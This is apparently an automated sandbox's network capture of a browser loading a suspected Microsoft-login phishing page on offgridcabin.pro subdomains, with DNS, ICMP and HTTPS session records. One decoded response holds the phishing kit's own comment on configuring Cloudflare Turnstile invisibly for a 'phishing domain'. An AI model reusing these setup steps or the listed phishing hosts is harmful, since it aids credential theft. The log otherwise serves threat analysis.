Jan 13, 2025 21:52:49.086782932 CET	51215	53	192.168.2.6	1.1.1.1
Jan 13, 2025 21:52:49.093812943 CET	53	51215	1.1.1.1	192.168.2.6
Jan 13, 2025 21:52:49.094547033 CET	53	60046	1.1.1.1	192.168.2.6
Jan 13, 2025 21:52:51.574984074 CET	59304	53	192.168.2.6	1.1.1.1
Jan 13, 2025 21:52:51.575153112 CET	56443	53	192.168.2.6	1.1.1.1
Jan 13, 2025 21:52:57.805555105 CET	49293	53	192.168.2.6	1.1.1.1
Jan 13, 2025 21:52:57.805799961 CET	52484	53	192.168.2.6	1.1.1.1
Jan 13, 2025 21:52:57.822191954 CET	53	49293	1.1.1.1	192.168.2.6
Jan 13, 2025 21:52:57.925458908 CET	53	52484	1.1.1.1	192.168.2.6
Jan 13, 2025 21:52:58.837496996 CET	59377	53	192.168.2.6	1.1.1.1
Jan 13, 2025 21:52:58.837619066 CET	60806	53	192.168.2.6	1.1.1.1
Jan 13, 2025 21:52:58.854257107 CET	53	60806	1.1.1.1	192.168.2.6
Jan 13, 2025 21:52:58.861398935 CET	53	59377	1.1.1.1	192.168.2.6
Jan 13, 2025 21:52:59.182562113 CET	51719	53	192.168.2.6	1.1.1.1
Jan 13, 2025 21:52:59.182805061 CET	60912	53	192.168.2.6	1.1.1.1
Jan 13, 2025 21:52:59.186862946 CET	60896	53	192.168.2.6	1.1.1.1
Jan 13, 2025 21:52:59.186997890 CET	61012	53	192.168.2.6	1.1.1.1
Jan 13, 2025 21:52:59.189507961 CET	53	51719	1.1.1.1	192.168.2.6
Jan 13, 2025 21:52:59.189709902 CET	53	60912	1.1.1.1	192.168.2.6
Jan 13, 2025 21:52:59.195398092 CET	53	61012	1.1.1.1	192.168.2.6
Jan 13, 2025 21:52:59.195410967 CET	53	60896	1.1.1.1	192.168.2.6
Jan 13, 2025 21:52:59.331430912 CET	53	63373	1.1.1.1	192.168.2.6
Jan 13, 2025 21:53:00.587038040 CET	61510	53	192.168.2.6	1.1.1.1
Jan 13, 2025 21:53:00.587186098 CET	63136	53	192.168.2.6	1.1.1.1
Jan 13, 2025 21:53:00.595508099 CET	53	61510	1.1.1.1	192.168.2.6
Jan 13, 2025 21:53:00.596136093 CET	53	63136	1.1.1.1	192.168.2.6
Jan 13, 2025 21:53:05.692382097 CET	52200	53	192.168.2.6	1.1.1.1
Jan 13, 2025 21:53:05.692568064 CET	63428	53	192.168.2.6	1.1.1.1
Jan 13, 2025 21:53:05.702653885 CET	53	52200	1.1.1.1	192.168.2.6
Jan 13, 2025 21:53:05.719196081 CET	53	63428	1.1.1.1	192.168.2.6
Jan 13, 2025 21:53:08.435993910 CET	56337	53	192.168.2.6	1.1.1.1
Jan 13, 2025 21:53:08.436276913 CET	51107	53	192.168.2.6	1.1.1.1
Jan 13, 2025 21:53:08.444987059 CET	53	51107	1.1.1.1	192.168.2.6
Jan 13, 2025 21:53:08.454034090 CET	53	56337	1.1.1.1	192.168.2.6
Jan 13, 2025 21:53:10.343228102 CET	53	63763	1.1.1.1	192.168.2.6
Jan 13, 2025 21:53:10.888384104 CET	60296	53	192.168.2.6	1.1.1.1
Jan 13, 2025 21:53:10.888540030 CET	49851	53	192.168.2.6	1.1.1.1
Jan 13, 2025 21:53:10.897392988 CET	53	49851	1.1.1.1	192.168.2.6
Jan 13, 2025 21:53:10.906239986 CET	53	60296	1.1.1.1	192.168.2.6
Jan 13, 2025 21:53:18.787134886 CET	53	52074	1.1.1.1	192.168.2.6
Jan 13, 2025 21:53:40.645173073 CET	53	62539	1.1.1.1	192.168.2.6
Jan 13, 2025 21:53:41.176171064 CET	53	57814	1.1.1.1	192.168.2.6
Jan 13, 2025 21:53:52.496464968 CET	49720	53	192.168.2.6	1.1.1.1
Jan 13, 2025 21:53:52.496661901 CET	57726	53	192.168.2.6	1.1.1.1

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jan 13, 2025 21:52:57.925571918 CET	192.168.2.6	1.1.1.1	c24b	(Port unreachable)	Destination Unreachable
Jan 13, 2025 21:53:05.719280005 CET	192.168.2.6	1.1.1.1	c24b	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 13, 2025 21:52:45.370305061 CET	192.168.2.6	1.1.1.1	0x9659	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:52:45.370486021 CET	192.168.2.6	1.1.1.1	0x9b5	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 13, 2025 21:52:46.484481096 CET	192.168.2.6	1.1.1.1	0x4437	Standard query (0)	hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:52:46.487639904 CET	192.168.2.6	1.1.1.1	0x22a7	Standard query (0)	hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro	65	IN (0x0001)	false
Jan 13, 2025 21:52:47.506700039 CET	192.168.2.6	1.1.1.1	0x63a4	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:52:47.507158995 CET	192.168.2.6	1.1.1.1	0x3ee2	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Jan 13, 2025 21:52:47.507946968 CET	192.168.2.6	1.1.1.1	0x5d99	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:52:47.508147955 CET	192.168.2.6	1.1.1.1	0x23bb	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 13, 2025 21:52:48.952511072 CET	192.168.2.6	1.1.1.1	0x41b6	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:52:48.952931881 CET	192.168.2.6	1.1.1.1	0xde83	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 13, 2025 21:52:49.086577892 CET	192.168.2.6	1.1.1.1	0xc015	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:52:49.086782932 CET	192.168.2.6	1.1.1.1	0xccec	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 13, 2025 21:52:51.574984074 CET	192.168.2.6	1.1.1.1	0x658d	Standard query (0)	identity.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:52:51.575153112 CET	192.168.2.6	1.1.1.1	0x1f1d	Standard query (0)	identity.nel.measure.office.net	65	IN (0x0001)	false
Jan 13, 2025 21:52:57.805555105 CET	192.168.2.6	1.1.1.1	0xc687	Standard query (0)	kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:52:57.805799961 CET	192.168.2.6	1.1.1.1	0xa2dc	Standard query (0)	kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro	65	IN (0x0001)	false
Jan 13, 2025 21:52:58.837496996 CET	192.168.2.6	1.1.1.1	0x5b86	Standard query (0)	hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:52:58.837619066 CET	192.168.2.6	1.1.1.1	0x529b	Standard query (0)	hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro	65	IN (0x0001)	false
Jan 13, 2025 21:52:59.182562113 CET	192.168.2.6	1.1.1.1	0x8326	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:52:59.182805061 CET	192.168.2.6	1.1.1.1	0xbe43	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Jan 13, 2025 21:52:59.186862946 CET	192.168.2.6	1.1.1.1	0xf181	Standard query (0)	kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:52:59.186997890 CET	192.168.2.6	1.1.1.1	0x59d4	Standard query (0)	kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro	65	IN (0x0001)	false
Jan 13, 2025 21:53:00.587038040 CET	192.168.2.6	1.1.1.1	0xe38	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:53:00.587186098 CET	192.168.2.6	1.1.1.1	0x9b68	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Jan 13, 2025 21:53:05.692382097 CET	192.168.2.6	1.1.1.1	0x7e6f	Standard query (0)	h9dpo0p6josn24k1zb55eul40.offgridcabin.pro	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:53:05.692568064 CET	192.168.2.6	1.1.1.1	0x11ae	Standard query (0)	h9dpo0p6josn24k1zb55eul40.offgridcabin.pro	65	IN (0x0001)	false
Jan 13, 2025 21:53:08.435993910 CET	192.168.2.6	1.1.1.1	0x7916	Standard query (0)	5krws8ak62qxb0g1obajeynsc.offgridcabin.pro	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:53:08.436276913 CET	192.168.2.6	1.1.1.1	0x6913	Standard query (0)	5krws8ak62qxb0g1obajeynsc.offgridcabin.pro	65	IN (0x0001)	false
Jan 13, 2025 21:53:10.888384104 CET	192.168.2.6	1.1.1.1	0x881d	Standard query (0)	5krws8ak62qxb0g1obajeynsc.offgridcabin.pro	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:53:10.888540030 CET	192.168.2.6	1.1.1.1	0x46f	Standard query (0)	5krws8ak62qxb0g1obajeynsc.offgridcabin.pro	65	IN (0x0001)	false
Jan 13, 2025 21:53:52.496464968 CET	192.168.2.6	1.1.1.1	0xbc39	Standard query (0)	identity.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:53:52.496661901 CET	192.168.2.6	1.1.1.1	0xfeee	Standard query (0)	identity.nel.measure.office.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 13, 2025 21:52:45.378052950 CET	1.1.1.1	192.168.2.6	0x9659	No error (0)	www.google.com		142.250.185.100	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:52:45.378669977 CET	1.1.1.1	192.168.2.6	0x9b5	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 13, 2025 21:52:46.503071070 CET	1.1.1.1	192.168.2.6	0x4437	No error (0)	hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro		104.168.175.55	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:52:47.513979912 CET	1.1.1.1	192.168.2.6	0x63a4	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:52:47.513979912 CET	1.1.1.1	192.168.2.6	0x63a4	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:52:47.514043093 CET	1.1.1.1	192.168.2.6	0x3ee2	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Jan 13, 2025 21:52:47.514930010 CET	1.1.1.1	192.168.2.6	0x23bb	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 13, 2025 21:52:47.515249014 CET	1.1.1.1	192.168.2.6	0x5d99	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:52:47.515249014 CET	1.1.1.1	192.168.2.6	0x5d99	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:52:48.959517002 CET	1.1.1.1	192.168.2.6	0xde83	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 13, 2025 21:52:48.962493896 CET	1.1.1.1	192.168.2.6	0x41b6	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:52:48.962493896 CET	1.1.1.1	192.168.2.6	0x41b6	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:52:49.093812943 CET	1.1.1.1	192.168.2.6	0xccec	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 13, 2025 21:52:49.094547033 CET	1.1.1.1	192.168.2.6	0xc015	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:52:49.094547033 CET	1.1.1.1	192.168.2.6	0xc015	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:52:51.582257986 CET	1.1.1.1	192.168.2.6	0x1f1d	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 21:52:51.597518921 CET	1.1.1.1	192.168.2.6	0x658d	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 21:52:57.822191954 CET	1.1.1.1	192.168.2.6	0xc687	No error (0)	kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro		104.168.175.55	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:52:58.861398935 CET	1.1.1.1	192.168.2.6	0x5b86	No error (0)	hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro		104.168.175.55	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:52:59.189507961 CET	1.1.1.1	192.168.2.6	0x8326	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 21:52:59.189507961 CET	1.1.1.1	192.168.2.6	0x8326	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 21:52:59.189507961 CET	1.1.1.1	192.168.2.6	0x8326	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:52:59.189709902 CET	1.1.1.1	192.168.2.6	0xbe43	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 21:52:59.189709902 CET	1.1.1.1	192.168.2.6	0xbe43	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 21:52:59.195410967 CET	1.1.1.1	192.168.2.6	0xf181	No error (0)	kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro		104.168.175.55	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:53:00.595508099 CET	1.1.1.1	192.168.2.6	0xe38	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 21:53:00.595508099 CET	1.1.1.1	192.168.2.6	0xe38	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 21:53:00.595508099 CET	1.1.1.1	192.168.2.6	0xe38	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:53:00.596136093 CET	1.1.1.1	192.168.2.6	0x9b68	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 21:53:00.596136093 CET	1.1.1.1	192.168.2.6	0x9b68	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 21:53:03.795412064 CET	1.1.1.1	192.168.2.6	0xb6c4	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 21:53:03.795412064 CET	1.1.1.1	192.168.2.6	0xb6c4	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:53:05.702653885 CET	1.1.1.1	192.168.2.6	0x7e6f	No error (0)	h9dpo0p6josn24k1zb55eul40.offgridcabin.pro		104.168.175.55	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:53:08.454034090 CET	1.1.1.1	192.168.2.6	0x7916	No error (0)	5krws8ak62qxb0g1obajeynsc.offgridcabin.pro		104.168.175.55	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:53:10.906239986 CET	1.1.1.1	192.168.2.6	0x881d	No error (0)	5krws8ak62qxb0g1obajeynsc.offgridcabin.pro		104.168.175.55	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:53:52.503396988 CET	1.1.1.1	192.168.2.6	0xfeee	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 21:53:52.504097939 CET	1.1.1.1	192.168.2.6	0xbc39	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro

cdnjs.cloudflare.com

https:

challenges.cloudflare.com

kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro

aadcdn.msftauth.net

h9dpo0p6josn24k1zb55eul40.offgridcabin.pro

5krws8ak62qxb0g1obajeynsc.offgridcabin.pro

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49715	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:52:42 UTC	70	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 34 0d 0a 4d 53 2d 43 56 3a 20 75 6d 42 75 4a 50 37 44 73 45 4b 45 51 45 52 47 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 30 62 35 39 36 38 36 32 33 63 64 39 36 62 0d 0a 0d 0a Data Ascii: CNT 1 CON 304MS-CV: umBuJP7DsEKEQERG.1Context: 10b5968623cd96b
2025-01-13 20:52:42 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2025-01-13 20:52:42 UTC	1083	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 30 0d 0a 4d 53 2d 43 56 3a 20 75 6d 42 75 4a 50 37 44 73 45 4b 45 51 45 52 47 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 30 62 35 39 36 38 36 32 33 63 64 39 36 62 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 66 6b 68 2b 66 32 54 59 54 4d 2f 44 63 65 61 58 50 74 45 4a 36 4c 6e 4f 4f 4f 61 39 50 49 43 70 6b 72 74 54 74 64 74 41 53 70 4d 4a 72 6a 50 61 47 2b 31 38 54 38 6b 59 7a 4c 57 52 6a 64 47 4c 41 62 55 59 78 51 35 5a 6f 4c 69 43 44 65 45 51 67 63 71 36 71 4b 62 32 68 4b 70 57 73 52 31 2f 4b 57 6d 61 38 38 6d 6e 5a 45 47 70 4f Data Ascii: ATH 2 CON\DEVICE 1060MS-CV: umBuJP7DsEKEQERG.2Context: 10b5968623cd96b<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAefkh+f2TYTM/DceaXPtEJ6LnOOOa9PICpkrtTtdtASpMJrjPaG+18T8kYzLWRjdGLAbUYxQ5ZoLiCDeEQgcq6qKb2hKpWsR1/KWma88mnZEGpO
2025-01-13 20:52:42 UTC	217	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 36 0d 0a 4d 53 2d 43 56 3a 20 75 6d 42 75 4a 50 37 44 73 45 4b 45 51 45 52 47 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 30 62 35 39 36 38 36 32 33 63 64 39 36 62 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 196MS-CV: umBuJP7DsEKEQERG.3Context: 10b5968623cd96b<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2025-01-13 20:52:43 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2025-01-13 20:52:43 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 45 39 35 45 2b 71 74 57 74 30 75 68 65 71 53 43 50 37 35 71 67 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: E95E+qtWt0uheqSCP75qgA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49720	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:52:47 UTC	693	OUT	GET /JLSQqjDK HTTP/1.1 Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:52:47 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:52:47 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-13 20:52:47 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:52:47 UTC	25	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a Data Ascii: Content-Type: text/html
2025-01-13 20:52:47 UTC	160	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 30 36 37 34 2d 35 36 36 61 3d 31 30 37 34 66 62 32 37 30 39 32 63 39 33 30 30 65 30 37 34 66 63 66 61 39 34 39 65 64 66 66 32 65 32 35 37 30 33 33 34 30 34 35 61 33 31 31 65 39 30 37 31 66 36 34 65 30 66 32 36 61 39 39 39 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 6f 66 66 67 72 69 64 63 61 62 69 6e 2e 70 72 6f 3b 20 45 78 70 69 72 65 73 3d 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 31 3a 35 32 3a 34 37 20 47 4d 54 0d 0a Data Ascii: Set-Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; Path=/; Domain=offgridcabin.pro; Expires=Mon, 13 Jan 2025 21:52:47 GMT
2025-01-13 20:52:47 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2025-01-13 20:52:47 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-13 20:52:47 UTC	5	IN	Data Raw: 61 33 62 0d 0a Data Ascii: a3b
2025-01-13 20:52:47 UTC	2619	IN	Data Raw: 3c 21 2d 2d 0d 0a 20 20 20 20 31 2e 20 43 72 65 61 74 65 20 61 20 6e 65 77 20 54 75 72 6e 73 74 69 6c 65 20 53 69 74 65 20 69 6e 20 79 6f 75 72 20 43 6c 6f 75 64 66 6c 61 72 65 20 64 61 73 68 62 6f 61 72 64 0d 0a 20 20 20 20 32 2e 20 53 65 74 20 27 44 6f 6d 61 69 6e 27 27 20 74 6f 20 79 6f 75 72 20 70 68 69 73 68 69 6e 67 20 64 6f 6d 61 69 6e 20 65 2e 67 2e 20 6d 79 2e 70 68 69 73 68 69 6e 67 2e 64 6f 6d 61 69 6e 2e 63 6f 6d 2e 0d 0a 20 20 20 20 33 2e 20 53 65 74 20 27 57 69 64 67 65 74 20 4d 6f 64 65 27 20 74 6f 20 27 49 6e 76 69 73 69 62 6c 65 27 20 74 6f 20 68 69 64 65 20 74 68 65 20 43 6c 6f 75 64 66 6c 61 72 65 20 77 69 64 67 65 74 20 61 6e 64 20 72 65 6d 6f 76 65 20 74 68 65 20 69 6e 74 65 72 61 63 74 69 76 65 20 63 68 65 63 6b 73 20 28 63 68 61 6e Data Ascii: ... 1. Create a new Turnstile Site in your Cloudflare dashboard 2. Set 'Domain'' to your phishing domain e.g. my.phishing.domain.com. 3. Set 'Widget Mode' to 'Invisible' to hide the Cloudflare widget and remove the interactive checks (chan
2025-01-13 20:52:47 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-13 20:52:47 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49723	104.17.25.14	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:52:47 UTC	605	OUT	GET /ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
